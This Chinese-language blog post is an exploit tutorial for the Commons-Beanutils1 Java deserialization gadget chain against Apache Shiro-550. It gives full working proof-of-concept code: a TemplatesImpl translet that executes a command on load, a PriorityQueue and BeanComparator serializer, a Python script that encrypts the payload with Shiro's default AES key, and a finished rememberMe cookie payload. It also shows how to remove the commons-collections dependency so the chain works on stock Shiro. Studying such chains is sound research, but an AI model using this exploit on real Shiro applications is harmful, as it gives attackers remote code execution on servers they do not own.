Java反序列化之Commons-Beanutils1链

发布于 2021-12-07  1073 次阅读


Java反序列化之Commons-Beanutils1链

上篇文章分析了Shiro-550产生漏洞的原理,以及如何触发URLDNS链,但是没有分析如何通过反序列化漏洞RCE。因此分析通过Commons-Beanutils1链执行RCE。

Commons-Beanutils简介

Apache Commons BeanutilsApache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。

commons-beanutils中提供了静态方法PropertyUtils.getProperty,通过调用这个静态方法,可以直接调用任意JavaBean中的getter方法。

简单的demo:

import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;

public class Bean {
    private String name = "cc";
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        System.out.println(PropertyUtils.getProperty(new Bean(),"name"));
        System.out.println("cc");
    }
}

此时,commons-beanutils会自动找到name属性的getter方法,也就是getName ,然后调用,获得返回值。

Commons-Beanutils1链构造

现在就需要分析如何利用到Commons-Beanutils1中的getProperty方法自动调用getter方法。在cc3链链中实现了另一种动态类加载执行命令的方式。通过TemplatesImpl中的getOutputProperties()方法,最终调用到defineClass()实现的动态类加载。

调用链如下:

TemplatesImpl#getOutputProperties() -> 
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

而这里用到的getOutputProperties方法,是以get 开头,正符合getter的定义。

所以, PropertyUtils.getProperty( o1, property ) 这段代码,当o1是一个TemplatesImpl 对象,而property 的值为outputProperties 时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties() 方法,触发代码执行。

通过PropertyUtils.getProperty触发代码如下:

//Test.java
import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CommonsBeanutils {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "1");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        //private byte[][] _bytecodes = null;
        byte[] code = Files.readAllBytes(Paths.get("F://code//Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);
        //private transient TransformerFactoryImpl _tfactory = null;
        //由于这个是不可能被序列化的,其实不用赋值,不过这里是正这测试一下,所以还是得赋值
        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        //通过PropertyUtils.getProperty触发outputProperties,弹出计算器
        PropertyUtils.getProperty(templates,"outputProperties");
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        ois.readObject();
    }
}

image-20211126115552256

现在就是如何找到利用到可以从readObject一直触发到PropertyUtils.getProperty,能够将这条链连接起来。

解决:

在cc2链中使用到了PriorityQueue优先队列的类,其中重写的readObject方法中执行java.util.Comparator 接口的compare() 方法。

而恰好在commons-beanutils包中就存在一个: org.apache.commons.beanutils.BeanComparator BeanComparator commons-beanutils提供的用来比

较两个JavaBean是否相等的类,其实现了java.util.Comparator 接口。

public int compare( Object o1, Object o2 ) {

    if ( property == null ) {
        // compare the actual objects
        return comparator.compare( o1, o2 );
    }

    try {
        Object value1 = PropertyUtils.getProperty( o1, property );
        Object value2 = PropertyUtils.getProperty( o2, property );
        return comparator.compare( value1, value2 );
    }
    catch ( IllegalAccessException iae ) {
        throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
    } 
    catch ( InvocationTargetException ite ) {
        throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
    }
    catch ( NoSuchMethodException nsme ) {
        throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
    } 
}

这个方法传入两个对象,如果this.property 为空,则直接比较这两个对象;如果this.property 不为空,则用PropertyUtils.getProperty 分别取这两个对象的this.property 属性,比较属性的值。这里就调用了getProperty,如果将传入的o1设置为TemplatesImpl类,property设置为OutputProperties,就能成功将cc2和cc3链起来,并且不依赖于commons-collections

//PriorityQueue.readObject
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}
//PriorityQueue.heapify
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}
//PriorityQueue.siftDown
private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}
//PriorityQueue.siftDownUsingComparator
//在这里调用了compare:comparator.compare。并且comparator是可控的,只要指定为BeanComparator类就可以触发
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

可以看到在PriorityQueue#readObject() 中调⽤了heapify() ⽅法, heapify() 中调⽤了siftDown()siftDown() 中调⽤了siftDownUsingComparator()siftDownUsingComparator() 中调⽤的comparator.compare()

具体调用细节在CC2中都有分析,这里就不在分析了。直接给出POC。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CommonsBeanutils {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "1");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        //private byte[][] _bytecodes = null;
        byte[] code = Files.readAllBytes(Paths.get("F://code//Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);
        //private transient TransformerFactoryImpl _tfactory = null;
        //由于这个是不可能被序列化的,其实不用赋值,不过这里是正这测试一下,所以还是得赋值
        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
//        PropertyUtils.getProperty(templates,"outputProperties");

        BeanComparator beanComparator = new BeanComparator();
        //
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(1);
        Class beanClass = beanComparator.getClass();
        Field propertyField = beanClass.getDeclaredField("property");
        propertyField.setAccessible(true);
        propertyField.set(beanComparator,"outputProperties");

        Class queueClass = queue.getClass();
        Field queueField = queueClass.getDeclaredField("queue");
        queueField.setAccessible(true);
        queueField.set(queue,new Object[]{templates, templates});
        serialize(queue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        ois.readObject();
    }
}

shiro-550反序列化Commons-Beanutils链复现

将生成的ser.bin文件通过AES加密和base64编码后。设置为cookie值。

import base64
from Crypto.Cipher import AES

with open(r"F:\code\java_file\ser\ser.bin","rb") as f:
    byte_POC = f.read()
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = b' ' * 16
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(byte_POC)
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    print("rememberMe={}".format(base64_ciphertext.decode()))

然后通过bp抓包传入cookie值

image-20211127130130344

发送Payload之后发现Tomcat报错了,提示 serialVersionUID 不一致。

image-20211127130404561

org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

serialVersionUID

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反

序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的serialVersionUID 值,写入数据流中;反序列化时,如果发现对方的环境中这个类计

算出的serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患。

当然,开发者也可以手工给类赋予一个serialVersionUID 值,此时就能手工控制兼容性了。所以,出现错误的原因就是,本地使用的commons-beanutils是1.9.2

版本,而Shiro中自带的commons-beanutils是1.8.3版本,出现了serialVersionUID 对应不上的问题。

解决方法也比较简单,将本地的commons-beanutils也换成1.8.3版本。

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.8.3</version>
</dependency>

更换版本后,再次生成 Payload 进行测试,此时 Tomcat 端爆出了另一个异常,仍然没有触发代码执行:

Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]

简单来说就是没找到 org.apache.commons.collections.comparators.ComparableComparator 类,从包名即可看出,这个类是来自于 commons-collections

commons-beanutils 本来依赖于 commons-collections,但是在 Shiro 中,它的 commons-beanutils 虽然包含了一部分 commons-collections 的类,但却不全。这也导致,正常使用 Shiro 的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections

无依赖的 Shiro 反序列化 Gadget

在构造Commons-Beanutils链的时候对BeanComparator进行了实例化。

image-20211127132538490

可以看到BeanComparator的构造函数如果没有传入参数,则默认使用 ComparableComparator

既然此时没有ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:

  • 实现java.util.Comparator 接口

  • 实现java.io.Serializable 接口

  • Java、shiro或commons-beanutils自带,且兼容性强

通过IDEA的快捷键Ctrl+Alt+B搜索接口的实现类。这里跟着P神文章找,找到了CaseInsensitiveComparator。其它的也可以只要符合上面的3个条件就好了。

image-20211127132937739

    public static final Comparator<String> CASE_INSENSITIVE_ORDER
                                         = new CaseInsensitiveComparator();
    private static class CaseInsensitiveComparator
            implements Comparator<String>, java.io.Serializable {
        // use serialVersionUID from JDK 1.2.2 for interoperability
        private static final long serialVersionUID = 8575799808933029326L;

        public int compare(String s1, String s2) {
            int n1 = s1.length();
            int n2 = s2.length();
            int min = Math.min(n1, n2);
            for (int i = 0; i < min; i++) {
                char c1 = s1.charAt(i);
                char c2 = s2.charAt(i);
                if (c1 != c2) {
                    c1 = Character.toUpperCase(c1);
                    c2 = Character.toUpperCase(c2);
                    if (c1 != c2) {
                        c1 = Character.toLowerCase(c1);
                        c2 = Character.toLowerCase(c2);
                        if (c1 != c2) {
                            // No overflow because of numeric promotion
                            return c1 - c2;
                        }
                    }
                }
            }
            return n1 - n2;
        }

        /** Replaces the de-serialized object. */
        private Object readResolve() { return CASE_INSENSITIVE_ORDER; }
    }

可以通过CASE_INSENSITIVE_ORDER拿到CaseInsensitiveComparator

这个CaseInsensitiveComparator 类是java.lang.String 类下的一个内部私有类,其实现了ComparatorSerializable ,且位于Java的核心代码中,兼

容性强,是一个完美替代品。我们通过String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的CaseInsensitiveComparator 对象,用它来实例化

BeanComparator

因此我们只需要将之前的Commons-Beanutils1链中的new BeanComparator();改成new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);。并且queue.add传入的值需要传入字符串。

原因在于第二次add时会调用Comparator进行比较,而CaseInsensitiveComparator类中的compare方法需要传入字符串。如果没改,报错如下:

image-20211127134315608

修改Commons-Beanutils1

最终可以利用的Commons-Beanutils1链,并且不包含Commons-collections

//Test.java
import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CommonsBeanutils {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "1");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        //private byte[][] _bytecodes = null;
        byte[] code = Files.readAllBytes(Paths.get("F://code//Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);
        //private transient TransformerFactoryImpl _tfactory = null;
        //由于这个是不可能被序列化的,其实不用赋值,不过这里是正这测试一下,所以还是得赋值
        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
//        PropertyUtils.getProperty(templates,"outputProperties");

        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        //
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add("1");
        queue.add("1");
        Class beanClass = beanComparator.getClass();
        Field propertyField = beanClass.getDeclaredField("property");
        propertyField.setAccessible(true);
        propertyField.set(beanComparator,"outputProperties");

        Class queueClass = queue.getClass();
        Field queueField = queueClass.getDeclaredField("queue");
        queueField.setAccessible(true);
        queueField.set(queue,new Object[]{templates, templates});
        serialize(queue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }
    public static void unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        ois.readObject();
        ois.close();
    }
}

将生成的ser.bin文件通过py脚本加密与base64编码之后,生成Payload

import base64
from Crypto.Cipher import AES

with open(r"F:\code\java_file\ser\ser.bin","rb") as f:
    byte_POC = f.read()
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = b' ' * 16
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(byte_POC)
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    print("rememberMe={}".format(base64_ciphertext.decode()))

Payload

rememberMe=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

成功弹出计算器

image-20211127134707010

参考文章

Java安全漫谈 - 17.CommonsBeanutils与无commons-collections的Shiro反序列化利用


沙上有印,光中有影!